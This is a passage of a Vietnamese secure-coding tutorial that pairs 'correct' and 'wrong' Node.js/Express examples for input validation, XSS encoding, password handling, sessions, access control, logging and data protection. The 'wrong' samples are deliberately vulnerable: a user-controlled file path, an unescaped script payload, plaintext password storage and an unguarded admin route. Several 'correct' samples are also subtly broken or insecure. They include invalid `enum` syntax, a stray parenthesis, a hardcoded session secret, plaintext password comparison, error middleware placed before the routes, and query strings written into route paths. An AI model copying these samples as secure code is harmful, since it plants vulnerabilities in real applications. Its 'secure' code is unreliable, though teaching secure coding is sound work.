việc viết mã và phát triển ứng dụng một cách an toàn.",[11,21337,21338],{},"Mã không an toàn là nguồn gốc chính của nhiều vấn đề bảo mật trong phần mềm. Các lỗi trong mã có thể dẫn đến các vấn đề nghiêm trọng như lỗ hổng bảo mật, xâm nhập, truy cập trái phép vào dữ liệu và thậm chí gây tổn hại đến hệ thống và người dùng. Secure coding đảm bảo rằng các ứng dụng và hệ thống được viết một cách chính xác và an toàn từ giai đoạn phát triển đến triển khai.",[498,21340,21342],{"id":21341},"tại-sao-secure-coding-quan-trọng","Tại sao secure coding quan trọng?",[11,21344,21345],{},"Secure coding là một khía cạnh vô cùng quan trọng trong lĩnh vực phát triển phần mềm vì nó đóng vai trò quan trọng trong việc bảo vệ ứng dụng và hệ thống khỏi các cuộc tấn công và lỗ hổng bảo mật. Dưới đây là một số lý do vì sao secure coding quan trọng:",[201,21347,21348,21351,21354,21357,21360,21363],{},[34,21349,21350],{},"Bảo vệ dữ liệu: Secure coding giúp bảo vệ dữ liệu của người dùng và tổ chức tránh khỏi việc truy cập trái phép, thay đổi hoặc đánh cắp thông tin quan trọng. Nếu ứng dụng không được viết an toàn, thông tin nhạy cảm có thể bị tiết lộ và dẫn đến hậu quả nghiêm trọng, bao gồm mất mát tài sản, danh tiếng tổ chức, và vi phạm quy định về bảo mật dữ liệu.",[34,21352,21353],{},"Ngăn chặn các cuộc tấn công: Secure coding giúp giảm thiểu khả năng bị tấn công từ các kẻ xâm nhập hoặc hackers. Bằng cách xử lý và lọc dữ liệu đầu vào, chúng ta có thể ngăn chặn các cuộc tấn công phổ biến như SQL injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Command Injection, Cross-Site Script Inclusion (XSSI), Server-Side Request Forgery (SSRF)…",[34,21355,21356],{},"Đảm bảo tính sẵn sàng và đáng tin cậy: Ứng dụng được viết bằng secure coding sẽ hoạt động ổn định và đáng tin cậy hơn. Hạn chế tối đa lỗi và lỗ hổng bảo mật giúp ứng dụng tránh được các sự cố không mong muốn, duy trì tính sẵn sàng của hệ thống.",[34,21358,21359],{},"Giảm thiểu thiệt hại: Một ứng dụng không được viết an toàn có thể bị tấn công và gây ra thiệt hại nghiêm trọng cho hệ thống và người dùng. Việc thực hiện secure coding giúp giảm thiểu rủi ro và mức độ thiệt hại trong trường hợp bị tấn công.",[34,21361,21362],{},"Tuân thủ các quy định và tiêu chuẩn bảo mật: Secure coding giúp đáp ứng các tiêu chuẩn và yêu cầu bảo mật của tổ chức và ngành công nghiệp. Nhiều lĩnh vực, như chăm sóc sức khỏe và tài chính, có những yêu cầu nghiêm ngặt về bảo mật và bảo vệ dữ liệu. Việc áp dụng secure coding là cần thiết để tuân thủ các quy định này và tránh bị phạt vì vi phạm quyền riêng tư và bảo mật.",[34,21364,21365],{},"Xây dựng niềm tin và danh tiếng: Sự an toàn và bảo mật của ứng dụng góp phần tạo dựng niềm tin và danh tiếng tích cực cho tổ chức. Người dùng và khách hàng sẽ tin tưởng hơn vào ứng dụng họ sử dụng nếu ứng dụng đó an toàn.",[11,21367,21368],{},"Tóm lại, mã hóa an toàn là yếu tố cốt lõi trong việc bảo vệ các ứng dụng và hệ thống khỏi các cuộc tấn công và lỗ hổng bảo mật. Điều này giúp đảm bảo tính bảo mật và độ tin cậy của phần mềm, giúp bảo vệ dữ liệu của người dùng và tổ chức, đồng thời đáp ứng các yêu cầu và tiêu chuẩn bảo mật.",[498,21370,21372],{"id":21371},"các-nguyên-tắc-và-phương-pháp-quan-trọng-trong-secure-coding","Các nguyên tắc và phương pháp quan trọng trong secure coding",[657,21374,21376],{"id":21375},"input-validation","Input Validation",[11,21378,21379],{},"Tất cả dữ liệu đầu vào cần được kiểm tra cả client và server trước khi thực hiện các tác vụ khác.",[11,21381,21382],{},"Xác thực dữ liệu thất bại nên được xử lý từ chối luôn và không thực hiện các xử lý tiếp theo. Trả về thông báo về việc nhập dữ liệu không hợp lệ để người dùng biết.",[11,21384,21385],{},"Các xử lý điều hướng lấy data ví dụ như GET file thì không được xử lý lấy trực tiếp tên file từ input của người dùng, mà nên lấy thông qua hằng số như file_id.",[11,21387,21388],{},"Dưới đây là đoạn mã Nodejs sử dụng framework Express.js.",[11,21390,21391,21392,1170],{},"+ ",[20,21393,21394],{},"Chương trình đúng",[696,21396,21399],{"className":21397,"code":21398,"language":701},[699],"const express = require('express'); \nconst fs = require('fs\u002Fpromises'); \nconst app = express(); \nconst port = 3000;\n \nenum File {\n  1: 'example.txt',\n  2: 'example2.txt'\n}\n \n\u002F\u002F Route để lấy dữ liệu từ file\napp.get('\u002Ffile', async (req, res) => { \n  if (isNaN(req.query.fileId)) {\n    return res.status(400).send('fileId phải là giá trị số'); \n  }\n \n  try { \n    const filePath = `.\u002Ffiles\u002F${File[req.query.fileId]}`;  \n \n    \u002F\u002F Đọc nội dung của file\n    const fileContent = await fs.readFile(filePath, 'utf-8'); \n \n    res.status(200).send(fileContent); \n  } catch (error) { \n    res.status(500).send('Đã xảy ra lỗi khi đọc file.'); \n  } \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n\n",[703,21400,21398],{"__ignoreMap":66},[11,21402,21403],{},"Trong ví dụ này, chúng ta sử dụng fileId của người dùng gửi lên để lấy file path mà chúng ta muốn truy cập. Điều này giúp đảm bảo rằng chúng ta không trực tiếp lấy tên file từ dữ liệu người dùng, từ đó tránh các vấn đề về bảo mật như lỗ hổng truy cập không mong muốn.",[11,21405,21391,21406,1170],{},[20,21407,21408],{},"Chương trình sai",[696,21410,21413],{"className":21411,"code":21412,"language":701},[699],"const express = require('express'); \nconst fs = require('fs\u002Fpromises'); \nconst app = express(); \nconst port = 3000;  \n \n\u002F\u002F Route để lấy dữ liệu từ file \napp.get('\u002Ffile', async (req, res) => {  \n  try {  \n    \u002F\u002F Sử dụng tên file từ input của người dùng và đọc nội dung của file\n    const fileContent = await fs.readFile(req.body.fileName, 'utf-8'); \n \n    res.status(200).send(fileContent); \n  } catch (error) { \n    res.status(500).send('Đã xảy ra lỗi khi đọc file.'); \n  } \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21414,21412],{"__ignoreMap":66},[11,21416,21417],{},"Trong ví dụ này, chúng ta đã sử dụng tên file từ dữ liệu người dùng cung cấp. Điều này sẽ bị các vấn đề về bảo mật như lỗ hổng truy cập không mong muốn.",[657,21419,21421],{"id":21420},"output-encoding","Output Encoding",[11,21423,21424,21425,21429],{},"Tất cả dữ liệu đầu ra cần được encode có thể sử dụng HTML entity encoding ",[58,21426],{"href":21427,"rel":21428},"https:\u002F\u002Fowasp.org\u002Fwww-pdf-archive\u002FOWASP_SCP_Quick_Reference_Guide_v2.pdf#page=16&zoom=100,82,298",[62],"để thực hiện việc encode dữ liệu để chống lại lỗ hổng Cross-site Scripting (XSS).",[11,21431,21432],{},"Làm sạch loại bỏ các dữ liệu liên quan đến cách lệnh của hệ điều hành để tránh các lỗi liên quan đến Command injection.",[11,21434,21435],{},"Loại bỏ các dữ liệu khi hiển thị đối với dữ liệu là các truy vấn SQL giúp chống lại các lỗ hổng liên quan đến SQL Injection.",[11,21437,21388],{},[11,21439,21440],{},[20,21441,21442],{},"+ Chương trình đúng",[696,21444,21447],{"className":21445,"code":21446,"language":701},[699],"const express = require('express'); \nconst escapeHtml = require('escape-html');\nconst app = express(); \nconst port = 3000; \n \napp.get('\u002FcustomerProfile', (req, res) => { \n  const customer = { \n    name: \"test\", \n    note: \"\u003Cscript>alert('XSS attack!');\u003C\u002Fscript>\" \n  }; \n \n  const encodedCustomerNote = escapeHtml(customer.note);\n \n  res.send(` \n    \u003Ch1>Xin chào, ${customer.name}!\u003C\u002Fh1> \n    \u003Cp>${encodedCustomerNote}\u003C\u002Fp> `\n  ); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n\n",[703,21448,21446],{"__ignoreMap":66},[11,21450,21451],{},"Trong đoạn mã trên, chúng ta đã sử dụng thư viện escape-html để mã hóa nội dung của customer.note trước khi đưa vào HTML. Điều này đảm bảo rằng bất kỳ mã JavaScript độc hại nào cũng sẽ được mã hóa và hiển thị dưới dạng văn bản thông thường, không thể thực thi.",[11,21453,21454],{},[20,21455,21456],{},"+ Chương trình sai",[696,21458,21461],{"className":21459,"code":21460,"language":701},[699],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\napp.get('\u002FcustomerProfile', (req, res) => { \n const customer = { \n   name: \"test\", \n   note: \"\u003Cscript>alert('XSS attack!');\u003C\u002Fscript>\" \n }; \n \n res.send(` \n   \u003Ch1>Xin chào, ${customer.name}!\u003C\u002Fh1> \n   \u003Cp>${customer.note}\u003C\u002Fp> `\n ); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21462,21460],{"__ignoreMap":66},[11,21464,21465],{},"Trong đoạn mã trên, chúng ta đang trả về thông tin cá nhân của khách hàng. Tuy nhiên, biến customer.note chứa một đoạn mã JavaScript độc hại và đoạn mã này sẽ được thực thi khi trình duyệt hiển thị nó, gây ra cuộc tấn công XSS.",[657,21467,21469],{"id":21468},"authentication-and-password-management","Authentication and Password Management",[11,21471,21472],{},"Cần xác thực đối với các tài nguyên quan trọng không được phép truy cập public. Những tài nguyên public như: css, js... thì không cần xác thực.",[11,21474,21475],{},"Có thể sử dụng cơ chế authentication được cung cấp sẵn như: Oauth2 hoặc Google authication, Facebook authentication,…",[11,21477,21478],{},"Cần mã hóa password có thể sử dụng thư viện uy tín được cung cấp sẵn.",[11,21480,21481],{},"Khi đăng nhập, nếu người dùng nhập username hay password sai thì thay vì thông báo cụ thể là \"người dùng nhập sai thông tin username\" hay \"người dùng nhập sai thông tin password\" chỉ cần thông báo rằng \"người dùng nhập sai thông tin đăng nhập\" để tránh việc thu thập thông tin từ hackers.",[11,21483,21484],{},"Cần được triển khai cơ chế xác thực trước khi các hệ thống bên ngoài kết nối tới hệ thống của chúng ta để lấy dữ liệu (qua api, web service…).",[11,21486,21487],{},"Sử dụng HTTP POST cho các yêu cầu xác thực và mật khẩu hiển thị dưới dạng *** không đọc được.",[11,21489,21490],{},"Nên sử dụng mật khẩu mạnh cho tài khoản như: Có ít nhất 1 chữ hoa, 1 chữ thường, 1 số, 1 ký tự đặc biệt và độ dài tối thiểu 8 ký tự.",[11,21492,21493],{},"Link reset mật khẩu nên để thời gian expiration ngắn.",[11,21495,21496],{},"Cần thiết lập cơ chế xác thực 2FA cho các tác vụ quan trọng.",[11,21498,21499],{},"Thiết lập tần suất đổi mật khẩu và cơ chế chống việc sử dụng lại mật khẩu.",[11,21501,21502],{},"Yêu cầu đổi mật khẩu tạm thời trong lần đăng nhập đầu tiên và thiết lập cơ chế khóa tài khoản sau một số lần nhập sai thông tin xác thực.",[11,21504,21388],{},[11,21506,64,21507],{},[20,21508,21442],{},[696,21510,21513],{"className":21511,"code":21512,"language":701},[699],"const express = require('express'); \nconst bcrypt = require('bcrypt'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng \nconst users = []; \n \napp.use(express.json()); \n \n\u002F\u002F Đăng ký người dùng \napp.post('\u002Fregister', async (req, res) => {\n const { username, password } = req.body; \n \n \u002F\u002F Kiểm tra xem người dùng đã tồn tại chưa \n if (users.find(user => user.username === username)) {\n   return res.status(400).json({ error: 'Người dùng đã tồn tại.' }); \n } \n \n \u002F\u002F Mã hóa mật khẩu trước khi lưu vào cơ sở dữ liệu \n const hashedPassword = await bcrypt.hash(password, 10); \n \n \u002F\u002F Lưu thông tin người dùng vào cơ sở dữ liệu \n users.push({ username, password: hashedPassword }); \n  \n return res.status(201).json({ message: 'Đăng ký thành công.' }); \n}); \n \n\u002F\u002F Đăng nhập \napp.post('\u002Flogin', async (req, res) => { \n const { username, password } = req.body; \n \n \u002F\u002F Tìm người dùng trong cơ sở dữ liệu \n const user = users.find(user => user.username === username); \n if (!user) { \n  return res.status(401).json({ error: 'Người dùng nhập sai thông tin đăng nhập.' }); \n } \n \n \u002F\u002F So sánh mật khẩu đã mã hóa \n const isPasswordValid = await bcrypt.compare(password, user.password); \n if (!isPasswordValid) { \n  return res.status(401).json({ error: 'Người dùng nhập sai thông tin đăng nhập.' }); \n } \n\n return res.status(200).json({ message: 'Đăng nhập thành công.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21514,21512],{"__ignoreMap":66},[11,21516,21517],{},"Trong đoạn mã trên:",[11,21519,21520],{},"khi người dùng đăng ký thì mật khẩu được mã hóa trước khi lưu vào cơ sở dữ liệu đảm bảo rằng mật khẩu không được lưu dưới dạng văn bản thông thường trong cơ sở dữ liệu, giúp tăng cường bảo mật của ứng dụng.",[11,21522,21523],{},"Khi người dùng đăng nhập, chúng ta kiểm tra mật khẩu đã nhập bằng cách so sánh với mật khẩu đã mã hóa trong cơ sở dữ liệu và nếu người dùng có nhập sai username hoặc password thì sẽ xuất message chung 'Người dùng nhập sai thông tin đăng nhập.' để tránh việc thu thập thông tin từ hackers.",[11,21525,64,21526],{},[20,21527,21456],{},[696,21529,21532],{"className":21530,"code":21531,"language":701},[699],"const express = require('express'); \nconst bcrypt = require('bcrypt'); \nconst app = express(); \nconst port = 3000; \n\n\u002F\u002F Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng \nconst users = []; \n\napp.use(express.json()); \n\n\u002F\u002F Đăng ký người dùng \napp.post('\u002Fregister', async (req, res) => {\n const { username, password } = req.body; \n\n \u002F\u002F Kiểm tra xem người dùng đã tồn tại chưa \n if (users.find(user => user.username === username)) {\n  return res.status(400).json({ error: 'Người dùng đã tồn tại.' }); \n } \n\n \u002F\u002F Lưu thông tin người dùng không có mã hóa password vào cơ sở dữ liệu\n users.push({ username, password}); \n \n return res.status(201).json({ message: 'Đăng ký thành công.' }); \n}); \n\n\u002F\u002F Đăng nhập \napp.post('\u002Flogin', async (req, res) => { \n const { username, password } = req.body; \n\n \u002F\u002F Tìm người dùng trong cơ sở dữ liệu \n const user = users.find(user => user.username === username); \n if (!user) { \n  return res.status(401).json({ error: 'Người dùng nhập sai thông tin username.' }); \n } \n\n \u002F\u002F So sánh mật khẩu\n if (password !== user.password) { \n  return res.status(401).json({ error: 'Người dùng nhập sai thông tin password' }); \n } \n\n return res.status(200).json({ message: 'Đăng nhập thành công.' }); \n});\n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21533,21531],{"__ignoreMap":66},[11,21535,21517],{},[11,21537,21538],{},"khi người dùng đăng ký thì mật khẩu không được mã hóa trước khi lưu vào cơ sở dữ liệu và vi phạm tính bảo mật của ứng dụng.",[11,21540,21541],{},"Khi người dùng đăng nhập và nhập sai thông tin username hoặc password thì đang bị vấn đề bảo mật là báo lỗi cụ thể như:  \"Người dùng nhập sai thông tin username.\" hay \"Người dùng nhập sai thông tin password\".",[657,21543,21545],{"id":21544},"session-management","Session Management",[11,21547,21548],{},"Việc tạo ra session sử dụng các định danh phải đảm bảo được tính ngẫu nhiên, tránh được các cuộc tấn công dò tìm hoặc đoán session.",[11,21550,21551],{},"Khi đăng xuất thì cần kết thúc phiên ngay lập tức.",[11,21553,21554],{},"Chức năng đăng xuất phải có ở tất cả các trang đã được xác thực giúp người dùng có thể đăng xuất bất cứ khi nào khi đã xác thực thành công.",[11,21556,21557],{},"Không cho phép session tồn tại đồng thời với cùng 1 người dùng để đảm bảo hạn chế các truy cập trái phép.",[11,21559,21560],{},"khi xác thực lại vẫn cần đảm bảo tạo ra một session với định danh mới để đảm bảo không trùng với phiên cũ.",[11,21562,21563],{},"Nên thiết lập thời gian tồn tại cho một session.",[11,21565,21388],{},[11,21567,21568],{},[20,21569,21442],{},[696,21571,21574],{"className":21572,"code":21573,"language":701},[699],"const express = require('express'); \nconst session = require('express-session'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Sử dụng session middleware \napp.use(session({ \n secret: 'secretKey', \n resave: true, \n saveUninitialized: true,\n cookie: { maxAge: 86400000) }\n})); \n \napp.use(express.json()); \n \n\u002F\u002F Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng \nconst users = [ { username: 'test', password: 'password_hash' } ]; \n \n\u002F\u002F Kiểm tra xem người dùng đã đăng nhập chưa \nfunction isAuthenticated(req, res, next) { \n if (req.session && req.session.username) { \n  return next(); \n }\n return res.status(401).json({ error: 'Bạn cần đăng nhập để tiếp tục.' }); \n} \n \n\u002F\u002F Đăng nhập \napp.post('\u002Flogin', (req, res) => { \n const { username, password } = req.body; \n const user = users.find(user => user.username === username); \n if (!user || user.password !== password) { \n  return res.status(401).json({ error: 'Sai tên người dùng hoặc mật khẩu.' }); \n } \n \n req.session.username = username; \n return res.status(200).json({ message: 'Đăng nhập thành công.' }); \n}); \n  \n\u002F\u002F Hiển thị thông tin người dùng sau khi đăng nhập \napp.get('\u002Fprofile', isAuthenticated, (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `Thông tin cá nhân: ${username}`}); \n}); \n \n\u002F\u002F Đăng xuất \napp.post('\u002Flogout', isAuthenticated, (req, res) => { \n req.session.destroy(); \n return res.status(200).json({ message: 'Đăng xuất thành công.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21575,21573],{"__ignoreMap":66},[11,21577,21578],{},"Trong ví dụ trên, khi người dùng đăng nhập thành công, chúng ta lưu thông tin tên người dùng vào session và thiết lập thời gian tồn tại là 1 ngày. Các routes \u002Fprofile và \u002Flogout yêu cầu người dùng đã đăng nhập để truy cập và chúng ta kiểm tra thông tin session để xác minh trạng thái đăng nhập. Khi người dùng đăng xuất chúng ta sẽ kết thúc session này và sẽ tạo lại session mới khi người dùng đăng nhập trở lại.",[11,21580,21581],{},[20,21582,21456],{},[696,21584,21587],{"className":21585,"code":21586,"language":701},[699],"const express = require('express'); \nconst session = require('express-session'); \nconst app = express(); \nconst port = 3000; \n\n\u002F\u002F Sử dụng session middleware \napp.use(session({ \n secret: 'secretKey', \n resave: false, \n saveUninitialized: false,\n})); \n\napp.use(express.json()); \n\n\u002F\u002F Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng \nconst users = [ { username: 'test', password: 'password_hash' } ]; \n\n\u002F\u002F Kiểm tra xem người dùng đã đăng nhập chưa \nfunction isAuthenticated(req, res, next) { \n if (req.session && req.session.username) { \n  return next(); \n }\n return res.status(401).json({ error: 'Bạn cần đăng nhập để tiếp tục.' }); \n} \n\n\u002F\u002F Đăng nhập \napp.post('\u002Flogin', (req, res) => { \n const { username, password } = req.body; \n const user = users.find(user => user.username === username); \n if (!user || user.password !== password) { \n  return res.status(401).json({ error: 'Sai tên người dùng hoặc mật khẩu.' }); \n } \n\n req.session.username = username; \n return res.status(200).json({ message: 'Đăng nhập thành công.' }); \n}); \n\n\u002F\u002F Hiển thị thông tin người dùng sau khi đăng nhập \napp.get('\u002Fprofile', isAuthenticated, (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `Thông tin cá nhân: ${username}`}); \n}); \n\n\u002F\u002F Đăng xuất \napp.post('\u002Flogout', isAuthenticated, (req, res) => {  \n return res.status(200).json({ message: 'Đăng xuất thành công.' }); \n});\n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21588,21586],{"__ignoreMap":66},[11,21590,21591],{},"Trong ví dụ trên, khi người dùng đăng nhập thành công, chúng ta lưu thông tin tên người dùng vào session và không thiết lập thời gian kết thúc session. Khi người dùng đăng xuất  đã không hủy session và session này luôn luôn tồn tại.",[657,21593,21595],{"id":21594},"access-control","Access Control",[11,21597,21598],{},"Thực hiện kiểm tra quyền truy cập với tất cả các request được gửi đi bao gồm cả request gửi bằng HTTP request, Ajax để đảm bảo việc phân quyền luôn được thực hiện đúng với tài khoản được phân quyền tương ứng. Tránh việc truy cập tới tài nguyên không được phép.",[11,21600,21601],{},"Cần thực hiện phân quyền tập trung, dễ quản lý và không bị ảnh hưởng bới logic của các đoạn code thực hiện chức năng của web.",[11,21603,21604],{},"Cần giới hạn quyền truy cập vào các tài nguyên quan trọng cho những người dùng được phân quyền.",[11,21606,21607],{},"Ứng dụng cần có tài liệu rõ ràng về chính sách quyền truy cập.",[11,21609,21610],{},"Khi có thay đổi về quyền hoặc thay đổi về logic nghiệp vụ liên quan đến quyền truy cập thì cần thực hiện vô hiệu hóa tài khoản và kết thúc phiên. Chỉ khi nào người dùng login lại thì mới cho tài khoản tiếp tục sử dụng.",[11,21612,21613],{},"Triển khai cơ chế khóa tài khoản tạm thời sau một khoảng thời gian không sử dụng.",[11,21615,21616],{},"Nếu dữ liệu của người dùng cần lưu trữ tại phía client thì cần mã hóa và được kiểm tra tính toàn vẹn trên server.",[11,21618,21619],{},"Thực hiện đúng nguyên tắc phân quyền tới đúng người, đúng quyền. Chỉ người dùng được phép mới có quyền truy cập tới tài nguyên nhất định trên hệ thống.",[11,21621,21388],{},[11,21623,21624],{},[20,21625,21442],{},[696,21627,21630],{"className":21628,"code":21629,"language":701},[699],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng\nconst users = [ \n  { username: 'user1', role: 'admin' }, \n  { username: 'user2', role: 'user' } \n]; \n \n\u002F\u002F Middleware kiểm tra vai trò của người dùng \nfunction checkRole(role) { \n  return (req, res, next) => { \n    const user = users.find(user => user.username === req.session.username); \n     \n    if (user && user.role === role) { \n      return next(); \n    } \n    return res.status(403).json({ error: 'Bạn không có quyền truy cập.' }); \n  }; \n} \n \napp.use(express.json()); \n \napp.get('\u002Fprofile', (req, res) => { \n  const username = req.session.username; \n  return res.status(200).json({message: `Thông tin cá nhân: ${username}`});\n}); \n \napp.get('\u002Fadmin', checkRole('admin'), (req, res) => { \n  return res.status(200).json({ message: 'Trang quản lý.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21631,21629],{"__ignoreMap":66},[11,21633,21634],{},"Trong ví dụ trên, chúng ta đã sử dụng một middleware checkRole để kiểm tra vai trò của người dùng. Route \u002Fprofile cho phép tất cả người dùng truy cập. Route \u002Fadmin yêu cầu vai trò \"admin\" và chỉ cho phép người dùng với vai trò \"admin\" truy cập vào trang quản lý. Nếu không có quyền họ sẽ nhận một mã trạng thái 403 (Forbidden).",[11,21636,21637],{},[20,21638,21456],{},[696,21640,21643],{"className":21641,"code":21642,"language":701},[699],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng\nconst users = [ \n  { username: 'user1', role: 'admin' }, \n  { username: 'user2', role: 'user' } \n]; \n \napp.use(express.json()); \n \napp.get('\u002Fprofile', (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `Thông tin cá nhân: ${username}`});\n}); \n \napp.get('\u002Fadmin', (req, res) => { \n return res.status(200).json({ message: 'Trang quản lý.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21644,21642],{"__ignoreMap":66},[11,21646,21647],{},"Trong ví dụ trên, route \u002Fprofile và  \u002Fadmin đều cho phép tất cả người dùng truy cập và không có phân quyền. Điều này sẽ rất nguy hiểm vì trang admin sẽ bị truy cập trái phép bởi người dùng có role=\"user\".",[657,21649,21651],{"id":21650},"error-handling-and-logging","Error Handling and Logging",[11,21653,21654],{},"Cần thông báo lỗi chung và tiến hành định nghĩa các trang thông báo lỗi để trả về khi trang web gặp lỗi. Tránh sử dụng các trang thông báo lỗi mặc định của framework vì các trang thông báo này thường chứa nhiều thông tin liên quan đến ứng dụng và phiên bản.",[11,21656,21657],{},"Log cần ghi lại tất cả các sự kiện quan trọng như sau:",[201,21659,21660,21663,21666,21669,21672,21675],{},[34,21661,21662],{},"Ghi lại tất cả các lỗi xác thực đầu vào",[34,21664,21665],{},"Ghi nhật ký tất cả các ngoại lệ của hệ thống",[34,21667,21668],{},"Ghi lại tất cả các lỗi kiểm soát truy cập",[34,21670,21671],{},"Ghi lại tất cả các lần xác thực, đặc biệt là các lần thất bại",[34,21673,21674],{},"Ghi log toàn bộ sự kiện cố gắng đăng nhập nhiều lần hoặc phiên làm việc hết hạn",[34,21676,21677],{},"Ghi nhật ký tất cả các chức năng quản trị",[11,21679,21680],{},"Không lưu trữ thông tin nhạy cảm trong log, bao gồm các chi tiết hệ thống không cần thiết, thông tin phiên bản phần mềm hoặc mật khẩu người dùng.",[11,21682,21683],{},"Chỉ giới hạn quyền truy cập vào log cho các user được cấp quyền.",[11,21685,21686],{},"Đảm bảo log chứa dữ liệu những event quan trọng như: thời gian xảy ra sự kiện, mức độ nghiêm trọng cho từng sự kiện, tag cho từng event, thông tin tài khoản thực hiện event, source ip, dest ip, mô tả sự kiện…",[11,21688,21689],{},"Các thông tin về xử lý lỗi cần ghi lại cả thông tin về các events thành công và thất bại giúp truy vết khi có vấn đề xảy ra.",[11,21691,21692],{},"Không để lộ thông tin nhạy cảm trong các phản hồi lỗi từ trang web, bao gồm chi tiết hệ thống, phiên bản của ứng dụng hoặc thông tin tài khoản.",[11,21694,21388],{},[11,21696,21697],{},[20,21698,21442],{},[696,21700,21703],{"className":21701,"code":21702,"language":701},[699],"const express = require('express'); \nconst winston = require('winston'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Thiết lập logger \nconst logger = winston.createLogger({ \n  level: 'info', \n  format: winston.format.simple(), \n  transports: [ \n    new winston.transports.Console(), \n    new winston.transports.File({ filename: 'error.log', level: 'error' }) \n  ] \n}); \n \n\u002F\u002F Middleware để xử lý lỗi \napp.use((err, req, res, next) => { \n  logger.error(err.stack); \n  res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n}); \n \n\u002F\u002F Route có gây ra lỗi \napp.get('\u002Ferror', (req, res, next) => { \n  const error = new Error('message error'); \n  next(error); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21704,21702],{"__ignoreMap":66},[11,21706,21707],{},"Trong ví dụ trên, chúng ta đã sử dụng thư viện winston để tạo logger và thiết lập logger để log thông tin lỗi và lưu trữ vào tập tin \"error.log\". Route \u002Ferror được sử dụng để minh họa việc có lỗi xảy ra. Trong route này, chúng ta tạo một lỗi bất kỳ và gọi hàm next() để chuyển lỗi đến middleware xử lý lỗi.  Việc sử dụng logger giúp chúng ta có dễ dàng quản lý ứng dụng của mình hơn.",[11,21709,21710],{},[20,21711,21456],{},[696,21713,21716],{"className":21714,"code":21715,"language":701},[699],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Middleware để xử lý lỗi \napp.use((err, req, res, next) => { \n  res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n}); \n \n\u002F\u002F Route có gây ra lỗi \napp.get('\u002Ferror', (req, res, next) => { \n const error = new Error('message error'); \n next(error); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21717,21715],{"__ignoreMap":66},[11,21719,21720],{},"Trong ví dụ trên, không  sử dụng thư viện winston để tạo logger và để ghi log lại lỗi khi xảy ra. Khi chương trình có một vấn đề lỗi nào đó thì rất khó có thể điều tra và khắc phục.",[657,21722,21724],{"id":21723},"data-protection","Data Protection",[11,21726,21727],{},"Tắt các tính năng tự động hoàn thành username và password trên trình duyệt.",[11,21729,21730],{},"Không gửi thông tin nhạy cảm trong các tham số yêu cầu HTTP GET như: username, password, token, session_id…",[11,21732,21733],{},"Xóa tất cả các comments không cần thiết trong mã nguồn như các đoạn comments có thể chứa thông tin truy cập của người dùng hay database hoặc có thể tiết lộ các thông tin nhạy cảm khác của hệ thống.",[11,21735,21736],{},"Thực hiện phân quyền tài khoản theo đúng chức năng giúp hạn chế các truy cập trái phép hoặc nhầm lẫn gây thất thoát dữ liệu.",[11,21738,21739],{},"Bảo vệ mã nguồn phía máy chủ không bị người dùng tải xuống bằng việc phân quyền thư mục mã nguồn, không để lộ source code và đường dẫn lưu trữ source code.",[11,21741,21742],{},"Thực hiện các kiểm soát truy cập thích hợp cho dữ liệu nhạy cảm được lưu trữ trên máy chủ.",[11,21744,21745],{},"Tắt bộ nhớ đệm phía máy khách trên các trang chứa thông tin nhạy cảm có thể sử dụng: Cache-Control: no-store trong HTTP header.",[11,21747,21388],{},[11,21749,21750],{},[20,21751,21442],{},[696,21753,21756],{"className":21754,"code":21755,"language":701},[699],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Search user\napp.get('\u002Fuser?name=test&email=test@gmail.com', async (req, res) => { \n const result = await userService.userSearch(req.query);\n return res.status(200).json(result);\n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21757,21755],{"__ignoreMap":66},[11,21759,21760],{},"Trong ví dụ trên, tại route \u002Fuser sẽ search user bởi name và email và trả kết quả tương ứng. Các thông tin name và email này không phải thông tin nhạy cảm nên có thể search bình thường.",[11,21762,21763],{},[20,21764,21456],{},[696,21766,21769],{"className":21767,"code":21768,"language":701},[699],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\n\u002F\u002F Search user\napp.get('\u002Fuser?password=test123&email=test@gmail.com', async (req, res) => { \n const result = await userService.userSearch(req.query);\n return res.status(200).json(result);\n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21770,21768],{"__ignoreMap":66},[11,21772,21773],{},"Trong ví dụ trên, tại route \u002Fuser sẽ search user bởi password và email và trả kết quả tương ứng. Do password là thông tin nhạy cảm nên trường hợp này vi phạm về tính bảo mật.",[657,21775,21777],{"id":21776},"communication-security","Communication Security",[11,21779,21780],{},"Đảm bảo HTTP referer không chứa thông tin nhạy cảm như: session_id, token,.. Cần đảm bảo các tham số này được lọc khỏi HTTP referer trước khi thực 